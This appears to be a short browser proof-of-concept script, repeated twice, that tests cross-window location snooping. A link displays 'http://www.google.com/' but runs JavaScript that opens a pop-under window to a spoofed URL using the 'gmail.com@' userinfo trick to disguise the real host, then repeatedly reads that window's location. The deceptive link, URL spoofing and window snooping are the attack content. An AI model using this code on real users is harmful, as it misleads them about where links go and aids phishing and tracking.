<script>
var snoopWin;

function run() {
	snoopWin = window.open('http://www.gmail.com@foro.elhacker.net/','snoopWindow','width=640,height=480');
	snoopWin.blur();
	setTimeout("snoopy()",1000);	
}

function snoopy() {
	alert(snoopWin.location);
	setTimeout("snoopy()", 100);
	
}
</script>



<a href="javascript:run();">http://www.google.com/</a>

<script>
var snoopWin;

function run() {
	snoopWin = window.open('http://www.gmail.com@foro.elhacker.net/','snoopWindow','width=640,height=480');
	snoopWin.blur();
	setTimeout("snoopy()",1000);	
}

function snoopy() {
	alert(snoopWin.location);
	setTimeout("snoopy()", 1000);
	
}
</script>



<a href="javascript:run();">http://www.google.com/</a>